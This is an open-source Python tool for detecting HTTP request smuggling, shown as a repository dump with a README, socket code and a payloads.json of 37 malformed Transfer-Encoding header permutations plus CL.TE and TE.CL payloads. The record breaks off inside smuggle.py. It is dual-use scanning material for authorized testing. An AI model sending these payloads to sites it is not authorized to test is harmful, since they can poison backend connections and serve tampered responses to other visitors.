├── lib
├── __init__.py
├── __pycache__
│ ├── Utils.cpython-38.pyc
│ ├── __init__.cpython-38.pyc
│ ├── Constants.cpython-38.pyc
│ └── SocketConnection.cpython-38.pyc
├── Constants.py
├── SocketConnection.py
└── Utils.py
├── requirements.txt
├── screenshots
└── thumbnail.png
├── LICENSE
├── README.md
├── payloads.json
└── smuggle.py
/lib/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | termcolor==1.1.0
2 | pyfiglet==0.8.post1
3 | colorama==0.4.4
--------------------------------------------------------------------------------
/screenshots/thumbnail.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/anshumanpattnaik/http-request-smuggling/main/screenshots/thumbnail.png
--------------------------------------------------------------------------------
/lib/__pycache__/Utils.cpython-38.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/anshumanpattnaik/http-request-smuggling/main/lib/__pycache__/Utils.cpython-38.pyc
--------------------------------------------------------------------------------
/lib/__pycache__/__init__.cpython-38.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/anshumanpattnaik/http-request-smuggling/main/lib/__pycache__/__init__.cpython-38.pyc
--------------------------------------------------------------------------------
/lib/__pycache__/Constants.cpython-38.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/anshumanpattnaik/http-request-smuggling/main/lib/__pycache__/Constants.cpython-38.pyc
--------------------------------------------------------------------------------
/lib/__pycache__/SocketConnection.cpython-38.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/anshumanpattnaik/http-request-smuggling/main/lib/__pycache__/SocketConnection.cpython-38.pyc
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 Anshuman Pattnaik
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
--------------------------------------------------------------------------------
/lib/Constants.py:
--------------------------------------------------------------------------------
1 | # MIT License
2 |
3 | # Copyright (c) 2020 Anshuman Pattnaik
4 |
5 | # Permission is hereby granted, free of charge, to any person obtaining a copy
6 | # of this software and associated documentation files (the "Software"), to deal
7 | # in the Software without restriction, including without limitation the rights
8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | # copies of the Software, and to permit persons to whom the Software is
10 | # furnished to do so, subject to the following conditions:
11 |
12 | # The above copyright notice and this permission notice shall be included in all
13 | # copies or substantial portions of the Software.
14 |
15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | # SOFTWARE.
22 | class Constants:
23 | def __init__(self):
24 | self.transfer_encoding = 'transfer_encoding'
25 | self.te_key = 'te_key'
26 | self.te_value = 'te_value'
27 | self.permute = 'permute'
28 | self.type = 'type'
29 | self.payload = 'payload'
30 | self.statuscode = 'statuscode'
31 | self.content_length_key = 'content_length_key'
32 | self.content_length = 'content_length'
33 | self.header_type = 'header_type'
34 | self.chunked_type = 'chunked_type'
35 | self.payload_chunk = 'payload_chunk'
36 | self.detection = 'detection'
37 | self.crlf = '\r\n'
38 | self.delayed_response_msg = '[Delayed Response] → Possible HTTP Request Smuggling'
39 | self.detecting = 'detecting...'
40 | self.ok = 'OK'
41 | self.magenta = 'magenta'
42 | self.yellow = 'yellow'
43 | self.white = 'white'
44 | self.red = 'red'
45 | self.cyan = 'cyan'
46 | self.blue = 'blue'
47 | self.green = 'green'
48 | self.reports = 'reports'
49 | self.output = '$Output'
50 | self.extenstion = '.txt'
51 | self.file_not_found = 'File not found'
52 | self.python_version_error_msg = "HRS Detection tool reuires Python 3.x"
53 | self.invalid_method_type = 'Invalid method type, please enter correct http method (eg GET or POST)'
54 | self.invalid_url_options = "Invalid options specify either (-u) or (--urls)"
55 | self.invalid_retry_count = 'Invalid retry count, please specify at least 1 retry count'
56 | self.invalid_target_url = "Invalid target url, please specify the valid url by following this example - " \
57 | "http[s]://example.com"
58 | self.keyboard_interrupt = 'KeyboardInterrupt'
59 | self.dis_connected = 'DISCONNECTED'
60 |
--------------------------------------------------------------------------------
/lib/SocketConnection.py:
--------------------------------------------------------------------------------
1 | # MIT License
2 |
3 | # Copyright (c) 2020 Anshuman Pattnaik
4 |
5 | # Permission is hereby granted, free of charge, to any person obtaining a copy
6 | # of this software and associated documentation files (the "Software"), to deal
7 | # in the Software without restriction, including without limitation the rights
8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | # copies of the Software, and to permit persons to whom the Software is
10 | # furnished to do so, subject to the following conditions:
11 |
12 | # The above copyright notice and this permission notice shall be included in all
13 | # copies or substantial portions of the Software.
14 |
15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | # SOFTWARE.
22 | import socket
23 | import ssl
24 | import time
25 |
26 |
27 | class SocketConnection:
28 | def __init__(self):
29 | self.context = None
30 | self.data = None
31 | self.s = None
32 | self.ssl = None
33 | self.ssl_enable = False
34 |
35 | def connect(self, host, port, timeout):
36 | try:
37 | if port == 443:
38 | self.ssl_enable = True
39 | self.context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
40 | self.s = socket.create_connection((host, port))
41 | self.ssl = self.context.wrap_socket(self.s, server_hostname=host)
42 | self.ssl.settimeout(timeout)
43 | else:
44 | self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
45 | self.s.settimeout(timeout)
46 | self.s.connect((host, port))
47 | return self.s
48 | except socket.error as msg:
49 | print(f'Socket Error → {msg}')
50 | return None
51 |
52 | def send_payload(self, payload):
53 | if self.ssl_enable:
54 | self.ssl.send(str(payload).encode())
55 | else:
56 | self.s.send(str(payload).encode())
57 |
58 | def receive_data(self, buffer_size=1024):
59 | try:
60 | if self.ssl_enable:
61 | self.ssl.settimeout(None)
62 | self.data = self.ssl.recv(buffer_size)
63 | else:
64 | self.s.settimeout(None)
65 | self.data = self.s.recv(buffer_size)
66 | except socket.timeout:
67 | print('Error: Socket timeout')
68 | return self.data
69 |
70 | @staticmethod
71 | def detect_hrs_vulnerability(start_time, timeout):
72 | if time.time() - start_time >= timeout:
73 | return True
74 | return False
75 |
76 | def close_connection(self):
77 | if self.ssl_enable:
78 | self.ssl.close()
79 | del self.ssl
80 | self.s.close()
81 | del self.s
82 |
--------------------------------------------------------------------------------
/lib/Utils.py:
--------------------------------------------------------------------------------
1 | # MIT License
2 |
3 | # Copyright (c) 2020 Anshuman Pattnaik
4 |
5 | # Permission is hereby granted, free of charge, to any person obtaining a copy
6 | # of this software and associated documentation files (the "Software"), to deal
7 | # in the Software without restriction, including without limitation the rights
8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | # copies of the Software, and to permit persons to whom the Software is
10 | # furnished to do so, subject to the following conditions:
11 |
12 | # The above copyright notice and this permission notice shall be included in all
13 | # copies or substantial portions of the Software.
14 |
15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | # SOFTWARE.
22 | import json
23 | import os
24 | from urllib.error import URLError
25 |
26 | from termcolor import cprint, colored
27 | from pyfiglet import figlet_format
28 | from urllib.parse import urlparse
29 | from .Constants import Constants
30 | import colorama
31 |
32 | colorama.init()
33 |
34 |
35 | class Utils:
36 | def __init__(self):
37 | self.title = "{:<1}{}".format("", "Smuggling")
38 | self.author = "Anshuman Pattnaik / @anspattnaik"
39 | self.blog = "https://hackbotone.com/blog/http-request-smuggling-detection-tool"
40 | self.version = "0.1"
41 |
42 | def print_header(self):
43 | cprint(figlet_format(self.title.center(20), font='cybermedium'), 'red', attrs=['bold'])
44 |
45 | header_key_color = Constants().blue
46 | header_value_color = Constants().yellow
47 |
48 | print("{:<12}{:<23}{:<17}{}".format('', colored('Author', header_key_color, attrs=['bold']),
49 | colored(':', header_key_color, attrs=['bold']),
50 | colored(self.author, header_value_color, attrs=['bold'])))
51 | print("{:<12}{:<23}{:<17}{}".format('', colored('Blog', header_key_color, attrs=['bold']),
52 | colored(':', header_key_color, attrs=['bold']),
53 | colored(self.blog, header_value_color, attrs=['bold'])))
54 | print("{:<12}{:<23}{:<17}{}".format('', colored('Version', header_key_color, attrs=['bold']),
55 | colored(':', header_key_color, attrs=['bold']),
56 | colored(self.version, header_value_color, attrs=['bold'])))
57 | print("{:<1}{}".format('', colored(
58 | "___________________________________________________________________________________", 'cyan',
59 | attrs=['bold'])))
60 | print("\n")
61 |
62 | @staticmethod
63 | def write_payload(file_name, payload):
64 | if not os.path.exists(os.path.dirname(file_name)):
65 | try:
66 | os.makedirs(os.path.dirname(file_name))
67 | except OSError as e:
68 | print(e)
69 | with open(file_name, "wb") as f:
70 | f.write(bytes(str(payload), 'utf-8'))
71 |
72 | @staticmethod
73 | def url_parser(url):
74 | parser = {}
75 | try:
76 | port = 80
77 | u_parser = urlparse(url)
78 | if u_parser.scheme == 'https':
79 | port = 443
80 | if u_parser.port is not None:
81 | port = u_parser.port
82 |
83 | host = u_parser.hostname
84 | parser["host"] = host
85 | parser["port"] = port
86 |
87 | path = u_parser.path
88 | query = '?' + u_parser.query if u_parser.query else ''
89 | fragment = '#' + u_parser.fragment if u_parser.fragment else ''
90 | uri_path = f'{path}{query}{fragment}'
91 |
92 | if len(path) > 0:
93 | parser["path"] = uri_path
94 | else:
95 | parser["path"] = '/'
96 | return json.dumps(parser)
97 | except URLError as e:
98 | print(f'Invalid URL: {e}')
99 | return Constants().invalid_target_url
100 |
101 | @staticmethod
102 | def read_target_list(file_name):
103 | try:
104 | with open(file_name) as urls_list:
105 | return [u.rstrip('\n') for u in urls_list]
106 | except FileNotFoundError as _:
107 | return Constants().file_not_found
108 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ### HTTP Request Smuggling Detection Tool
2 | HTTP request smuggling is a high severity vulnerability which is a technique where an attacker smuggles an ambiguous HTTP request to bypass security controls and gain unauthorized access to performs malicious activities, the vulnerability was discovered back in 2005 by [watchfire](https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf) and later in August 2019 it re-discovered by [James Kettle - (albinowax)](https://twitter.com/albinowax) and presented at [DEF CON 27](https://www.youtube.com/watch?v=w-eJM2Pc0KI) and [Black-Hat USA](https://www.youtube.com/watch?v=_A04msdplXs), to know more about this vulnerability you can refer his well-documented research blogs at [Portswigger website](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn). So the idea behind this security tool is to detect HRS vulnerability for a given host and the detection happens based on the time delay technique with the given permutes, so to know more about this tool I'll highly encourage you to read my [blog](https://hackbotone.com/blog/http-request-smuggling-detection-tool) post about this tool.
3 |
4 |
5 |
6 | ### Technical Overview
7 | The tool is written using python and to use this tool you must have python version 3.x installed in your local machine. It takes the input of either one URL or list of URLs which you need to provide in a text file and by following the HRS vulnerability detection technique the tool has built-in payloads which has around 37 permutes and detection payloads for both CL.TE and TE.CL and for every given host it will generate the attack request object by using these payloads and calculates the elapsed time after receiving the response for each request and decides the vulnerability but most of the time chances are it can be false positive, so to confirm the vulnerability you can use burp-suite turbo intruder and try your payloads.
8 |
9 | ### Security Consent
10 | It's quite important to know some of the legal disclaimers before scanning any of the targets, you should have proper authorization before scanning any of the targets otherwise I suggest do not use this tool to scan an unauthorized target because to detect the vulnerability it sends multiple payloads for multiple times by using (--retry) option which means if something goes wrong then there is a possibility that backend socket might get poisoned with the payloads and any genuine visitors of that particular website might end up seeing the poisoned payload rather seeing the actual content of the website. So I'll highly suggest taking proper precautions before scanning any of the target website otherwise you will face some legal issue.
11 |
12 | ### Installation
13 | `````````````````````````````````````````````````````````````````````````````````````````````````````````````````````
14 | git clone https://github.com/anshumanpattnaik/http-request-smuggling.git
15 | cd http-request-smuggling
16 | pip3 install -r requirements.txt
17 | `````````````````````````````````````````````````````````````````````````````````````````````````````````````````````
18 |
19 | ### Options
20 | `````````````````````````````````````````````````````````````````````````````````````````````````
21 | usage: smuggle.py [-h] [-u URL] [-urls URLS] [-t TIMEOUT] [-m METHOD]
22 | [-r RETRY]
23 |
24 | HTTP Request Smuggling vulnerability detection tool
25 |
26 | optional arguments:
27 | -h, --help show this help message and exit
28 | -u URL, --url URL set the target url
29 | -urls URLS, --urls URLS
30 | set list of target urls, i.e (urls.txt)
31 | -t TIMEOUT, --timeout TIMEOUT
32 | set socket timeout, default - 10
33 | -m METHOD, --method METHOD
34 | set HTTP Methods, i.e (GET or POST), default - POST
35 | -r RETRY, --retry RETRY
36 | set the retry count to re-execute the payload, default
37 | - 2
38 | `````````````````````````````````````````````````````````````````````````````````````````````````
39 |
40 | ### Scan one Url
41 | ````````````````````````````````````
42 | python3 smuggle.py -u
43 | ````````````````````````````````````
44 |
45 | ### Scan list of Urls
46 | ````````````````````````````````````
47 | python3 smuggle.py -urls
48 | ````````````````````````````````````
49 |
50 | ### Important
51 | If you feel the detection payload needs to change to make it more accurate then you can update the payload in payloads.json file of detection array.
52 |
53 | ``````````````````````````````````````````````````````````````````
54 | "detection": [
55 | {
56 | "type": "CL.TE",
57 | "payload": "\r\n1\r\nZ\r\nQ\r\n\r\n",
58 | "content_length": 5
59 | },
60 | {
61 | "type": "TE.CL",
62 | "payload": "\r\n0\r\n\r\n\r\nG",
63 | "content_length": 6
64 | }
65 | ]
66 | ``````````````````````````````````````````````````````````````````
67 |
68 | ### License
69 | This project is licensed under the [MIT License](LICENSE)
70 |
--------------------------------------------------------------------------------
/payloads.json:
--------------------------------------------------------------------------------
1 | {
2 | "permute": [
3 | {
4 | "type": "spacejoin",
5 | "content_length_key": "Content-Length:",
6 | "transfer_encoding": {
7 | "te_key": "Transfer Encoding:",
8 | "te_value": "chunked"
9 | }
10 | },
11 | {
12 | "type": "default",
13 | "content_length_key": "Content-Length:",
14 | "transfer_encoding": {
15 | "te_key": "Transfer-Encoding:",
16 | "te_value": "chunked"
17 | }
18 | },
19 | {
20 | "type": "underjoin",
21 | "content_length_key": "Content-Length:",
22 | "transfer_encoding": {
23 | "te_key": "Transfer_Encoding:",
24 | "te_value": "chunked"
25 | }
26 | },
27 | {
28 | "type": "space1",
29 | "content_length_key": "Content-Length:",
30 | "transfer_encoding": {
31 | "te_key": "Transfer-Encoding: ",
32 | "te_value": "chunked"
33 | }
34 | },
35 | {
36 | "type": "space2",
37 | "content_length_key": "Content-Length: ",
38 | "transfer_encoding": {
39 | "te_key": "Transfer-Encoding:",
40 | "te_value": "chunked"
41 | }
42 | },
43 | {
44 | "type": "space3",
45 | "content_length_key": "Content-Length:",
46 | "transfer_encoding": {
47 | "te_key": "Transfer-Encoding[space here]:",
48 | "te_value": "chunked"
49 | }
50 | },
51 | {
52 | "type": "nameprefix1",
53 | "content_length_key": "Content-Length:",
54 | "transfer_encoding": {
55 | "te_key": " Transfer-Encoding:",
56 | "te_value": "chunked"
57 | }
58 | },
59 | {
60 | "type": "valueprefix1",
61 | "content_length_key": "Content-Length:",
62 | "transfer_encoding": {
63 | "te_key": "Transfer-Encoding: ",
64 | "te_value": "chunked"
65 | }
66 | },
67 | {
68 | "type": "nospace1",
69 | "content_length_key": "Content-Length:",
70 | "transfer_encoding": {
71 | "te_key": "Transfer-Encoding:",
72 | "te_value": "chunked"
73 | }
74 | },
75 | {
76 | "type": "tabprefix1",
77 | "content_length_key": "Content-Length:",
78 | "transfer_encoding": {
79 | "te_key": "Transfer-Encoding:\t",
80 | "te_value": "chunked"
81 | }
82 | },
83 | {
84 | "type": "vertprefix1",
85 | "content_length_key": "Content-Length:",
86 | "transfer_encoding": {
87 | "te_key": "Transfer-Encoding:\u000B",
88 | "te_value": "chunked"
89 | }
90 | },
91 | {
92 | "type": "commaCow",
93 | "content_length_key": "Content-Length:",
94 | "transfer_encoding": {
95 | "te_key": "Transfer-Encoding: ",
96 | "te_value": "chunked, identity"
97 | }
98 | },
99 | {
100 | "type": "cowComma",
101 | "content_length_key": "Content-Length:",
102 | "transfer_encoding": {
103 | "te_key": "Transfer-Encoding: ",
104 | "te_value": "identity"
105 | }
106 | },
107 | {
108 | "type": "contentEnc",
109 | "content_length_key": "Content-Length:",
110 | "transfer_encoding": {
111 | "te_key": "Content-Encoding: ",
112 | "te_value": "chunked"
113 | }
114 | },
115 | {
116 | "type": "linewrapped1",
117 | "content_length_key": "Content-Length:",
118 | "transfer_encoding": {
119 | "te_key": "Transfer-Encoding:\n",
120 | "te_value": "chunked"
121 | }
122 | },
123 | {
124 | "type": "gareth1",
125 | "content_length_key": "Content-Length:",
126 | "transfer_encoding": {
127 | "te_key": "Transfer-Encoding\n : ",
128 | "te_value": "chunked"
129 | }
130 | },
131 | {
132 | "type": "quoted",
133 | "content_length_key": "Content-Length:",
134 | "transfer_encoding": {
135 | "te_key": "Transfer-Encoding: ",
136 | "te_value": "\"chunked\""
137 | }
138 | },
139 | {
140 | "type": "aposed",
141 | "content_length_key": "Content-Length:",
142 | "transfer_encoding": {
143 | "te_key": "Transfer-Encoding:",
144 | "te_value": "'chunked'"
145 | }
146 | },
147 | {
148 | "type": "badwrap",
149 | "content_length_key": "Content-Length:",
150 | "transfer_encoding": {
151 | "te_key": "Foo: bar\r\n Transfer-Encoding: ",
152 | "te_value": "chunked"
153 | }
154 | },
155 | {
156 | "type": "badsetupCR",
157 | "content_length_key": "Content-Length:",
158 | "transfer_encoding": {
159 | "te_key": "Fooz: bar\rTransfer-Encoding: ",
160 | "te_value": "chunked"
161 | }
162 | },
163 | {
164 | "type": "badsetupLF",
165 | "content_length_key": "Content-Length:",
166 | "transfer_encoding": {
167 | "te_key": "Fooz: bar\nTransfer-Encoding: ",
168 | "te_value": "chunked"
169 | }
170 | },
171 | {
172 | "type": "vertwrap",
173 | "content_length_key": "Content-Length:",
174 | "transfer_encoding": {
175 | "te_key": "Transfer-Encoding: \n\u000B",
176 | "te_value": "chunked"
177 | }
178 | },
179 | {
180 | "type": "tabwrap",
181 | "content_length_key": "Content-Length:",
182 | "transfer_encoding": {
183 | "te_key": "Transfer-Encoding: \n\t",
184 | "te_value": "chunked"
185 | }
186 | },
187 | {
188 | "type": "dualchunk",
189 | "content_length_key": "Content-Length:",
190 | "transfer_encoding": {
191 | "te_key": "Transfer-Encoding: ",
192 | "te_value": "chunked\r\nTransfer-Encoding: identity"
193 | }
194 | },
195 | {
196 | "type": "lazygrep",
197 | "content_length_key": "Content-Length:",
198 | "transfer_encoding": {
199 | "te_key": "Transfer-Encoding: ",
200 | "te_value": "chunk"
201 | }
202 | },
203 | {
204 | "type": "multiCase",
205 | "content_length_key": "Content-Length:",
206 | "transfer_encoding": {
207 | "te_key": "TrAnSFer-EnCODinG: ",
208 | "te_value": "cHuNkeD"
209 | }
210 | },
211 | {
212 | "type": "UPPERCASE",
213 | "content_length_key": "Content-Length:",
214 | "transfer_encoding": {
215 | "te_key": "TRANSFER-ENCODING: ",
216 | "te_value": "CHUNKED"
217 | }
218 | },
219 | {
220 | "type": "zdwrap",
221 | "content_length_key": "Content-Length:",
222 | "transfer_encoding": {
223 | "te_key": "Foo: bar\r\n\rTransfer-Encoding: ",
224 | "te_value": "chunked"
225 | }
226 | },
227 | {
228 | "type": "zdsuffix1",
229 | "content_length_key": "Content-Length:",
230 | "transfer_encoding": {
231 | "te_key": "Transfer-Encoding: ",
232 | "te_value": "chunked\r"
233 | }
234 | },
235 | {
236 | "type": "zdsuffix2",
237 | "content_length_key": "Content-Length:",
238 | "transfer_encoding": {
239 | "te_key": "Transfer-Encoding: ",
240 | "te_value": "chunked\t"
241 | }
242 | },
243 | {
244 | "type": "revdualchunk",
245 | "content_length_key": "Content-Length:",
246 | "transfer_encoding": {
247 | "te_key": "Transfer-Encoding: ",
248 | "te_value": "identity\r\nTransfer-Encoding: chunked"
249 | }
250 | },
251 | {
252 | "type": "zdspam",
253 | "content_length_key": "Content-Length:",
254 | "transfer_encoding": {
255 | "te_key": "Transfer\\r-Encoding: ",
256 | "te_value": "chunked"
257 | }
258 | },
259 | {
260 | "type": "bodysplit",
261 | "content_length_key": "Content-Length:",
262 | "transfer_encoding": {
263 | "te_key": "Foo: barn\n\nTransfer-Encoding: ",
264 | "te_value": "chunked"
265 | }
266 | },
267 | {
268 | "type": "nested",
269 | "content_length_key": "Content-Length:",
270 | "transfer_encoding": {
271 | "te_key": "Transfer-Encoding: ",
272 | "te_value": "cow chunked bar"
273 | }
274 | },
275 | {
276 | "type": "spaceFF",
277 | "content_length_key": "Content-Length:",
278 | "transfer_encoding": {
279 | "te_key": "Transfer-Encoding:",
280 | "te_value": "\\xFFchunked"
281 | }
282 | },
283 | {
284 | "type": "unispace",
285 | "content_length_key": "Content-Length:",
286 | "transfer_encoding": {
287 | "te_key": "Transfer-Encoding:",
288 | "te_value": "\\xA0chunked"
289 | }
290 | },
291 | {
292 | "type": "accentTE",
293 | "content_length_key": "Content-Length:",
294 | "transfer_encoding": {
295 | "te_key": "Transf\\x82r-Encoding:",
296 | "te_value": "chunked"
297 | }
298 | },
299 | {
300 | "type": "accentCH",
301 | "content_length_key": "Content-Length:",
302 | "transfer_encoding": {
303 | "te_key": "Transfr-Encoding: ",
304 | "te_value": "ch\\x96nked"
305 | }
306 | }
307 | ],
308 | "detection": [
309 | {
310 | "type": "CL.TE",
311 | "payload": "\r\n1\r\nZ\r\nQ\r\n\r\n",
312 | "content_length": 5
313 | },
314 | {
315 | "type": "TE.CL",
316 | "payload": "\r\n0\r\n\r\n\r\nG",
317 | "content_length": 6
318 | }
319 | ]
320 | }
321 |
--------------------------------------------------------------------------------
/smuggle.py:
--------------------------------------------------------------------------------
1 | # MIT License
2 |
3 | # Copyright (c) 2020 Anshuman Pattnaik
4 |
5 | # Permission is hereby granted, free of charge, to any person obtaining a copy
6 | # of this software and associated documentation files (the "Software"), to deal
7 | # in the Software without restriction, including without limitation the rights
8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | # copies of the Software, and to permit persons to whom the Software is
10 | # furnished to do so, subject to the following conditions:
11 |
12 | # The above copyright notice and this permission notice shall be included in all
13 | # copies or substantial portions of the Software.
14 |
15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | # SOFTWARE.
22 | import argparse
23 | import json
24 | import time
25 | import os
26 | import sys
27 | import re
28 | from termcolor import colored
29 | from lib.Utils import Utils
30 | from lib.Constants import Constants
31 | from lib.SocketConnection import SocketConnection
32 | from pathlib import Path
33 | import colorama
34 |
35 | colorama.init()
36 |
37 | utils = Utils()
38 | constants = Constants()
39 |
40 | # Argument parser
41 | parser = argparse.ArgumentParser(description='HTTP Request Smuggling vulnerability detection tool')
42 | parser.add_argument("-u", "--url", help="set the target url")
43 | parser.add_argument("-urls", "--urls", help="set list of target urls, i.e (urls.txt)")
44 | parser.add_argument("-t", "--timeout", help="set socket timeout, default - 10")
45 | parser.add_argument("-m", "--method", help="set HTTP Methods, i.e (GET or POST), default - POST")
46 | parser.add_argument("-r", "--retry", help="set the retry count to re-execute the payload, default - 2")
47 | args = parser.parse_args()
48 |
49 |
50 | def hrs_detection(_host, _port, _path, _method, permute_type, content_length_key, te_key, te_value, smuggle_type,
51 | content_length, payload, _timeout):
52 | headers = ''
53 | headers += '{} {} HTTP/1.1{}'.format(_method, _path, constants.crlf)
54 | headers += 'Host: {}{}'.format(_host, constants.crlf)
55 | headers += '{} {}{}'.format(content_length_key, content_length, constants.crlf)
56 | headers += '{}{}{}'.format(te_key, te_value, constants.crlf)
57 | smuggle_body = headers + payload
58 |
59 | permute_type = "[" + permute_type + "]"
60 | elapsed_time = "-"
61 |
62 | # Print Styling
63 | _style_space_config = "{:<30}{:<25}{:<25}{:<25}{:<25}"
64 | _style_permute_type = colored(permute_type, constants.cyan, attrs=['bold'])
65 | _style_smuggle_type = colored(smuggle_type, constants.magenta, attrs=['bold'])
66 | _style_status_code = colored("-", constants.blue, attrs=['bold'])
67 | _style_elapsed_time = "{}".format(colored(elapsed_time, constants.yellow, attrs=['bold']))
68 | _style_status = colored(constants.detecting, constants.green, attrs=['bold'])
69 |
70 | print(_style_space_config.format(_style_permute_type, _style_smuggle_type, _style_status_code, _style_elapsed_time,
71 | _style_status), end="\r", flush=True)
72 |
73 | start_time = time.time()
74 |
75 | try:
76 | connection = SocketConnection()
77 | connection.connect(_host, _port, _timeout)
78 | connection.send_payload(smuggle_body)
79 |
80 | response = connection.receive_data().decode("utf-8")
81 | end_time = time.time()
82 |
83 | if len(response.split()) > 0:
84 | status_code = response.split()[1]
85 | else:
86 | status_code = 'NO RESPONSE'
87 | _style_status_code = colored(status_code, constants.blue, attrs=['bold'])
88 |
89 | connection.close_connection()
90 |
91 | # The detection logic is based on the time delay technique, if the elapsed time is more than the timeout value
92 | # then the target host status will change to [HRS → Vulnerable], but most of the time chances are it can be
93 | # false positive So to confirm the vulnerability you can use burp-suite turbo intruder and try your own
94 | # payloads. https://portswigger.net/web-security/request-smuggling/finding
95 |
96 | elapsed_time = str(round((end_time - start_time) % 60, 2)) + "s"
97 | _style_elapsed_time = "{}".format(colored(elapsed_time, constants.yellow, attrs=['bold']))
98 |
99 | is_hrs_found = connection.detect_hrs_vulnerability(start_time, _timeout)
100 |
101 | # If HRS found then it will write the payload to the reports directory
102 | if is_hrs_found:
103 | _style_status = colored(constants.delayed_response_msg, constants.red, attrs=['bold'])
104 | _reports = constants.reports + '/{}/{}-{}{}'.format(_host, permute_type, smuggle_type, constants.extenstion)
105 | utils.write_payload(_reports, smuggle_body)
106 | else:
107 | _style_status = colored(constants.ok, constants.green, attrs=['bold'])
108 | except Exception as exception:
109 | elapsed_time = str(round((time.time() - start_time) % 60, 2)) + "s"
110 | _style_elapsed_time = "{}".format(colored(elapsed_time, constants.yellow, attrs=['bold']))
111 |
112 | error = f'{constants.dis_connected} → {exception}'
113 | _style_status = colored(error, constants.red, attrs=['bold'])
114 |
115 | print(_style_space_config.format(_style_permute_type, _style_smuggle_type, _style_status_code, _style_elapsed_time,
116 | _style_status))
117 |
118 | # There is a delay of 1 second after executing each payload
119 | time.sleep(1)
120 |
121 |
122 | if __name__ == "__main__":
123 | # If the python version less than 3.x then it will exit
124 | if sys.version_info < (3, 0):
125 | print(constants.python_version_error_msg)
126 | sys.exit(1)
127 |
128 | try:
129 | # Printing the tool header
130 | utils.print_header()
131 |
132 | # Both (url/urls) options not allowed at the same time
133 | if args.urls and args.url:
134 | print(constants.invalid_url_options)
135 | sys.exit(1)
136 |
137 | target_urls = list()
138 | if args.urls:
139 | urls = utils.read_target_list(args.urls)
140 |
141 | if constants.file_not_found in urls:
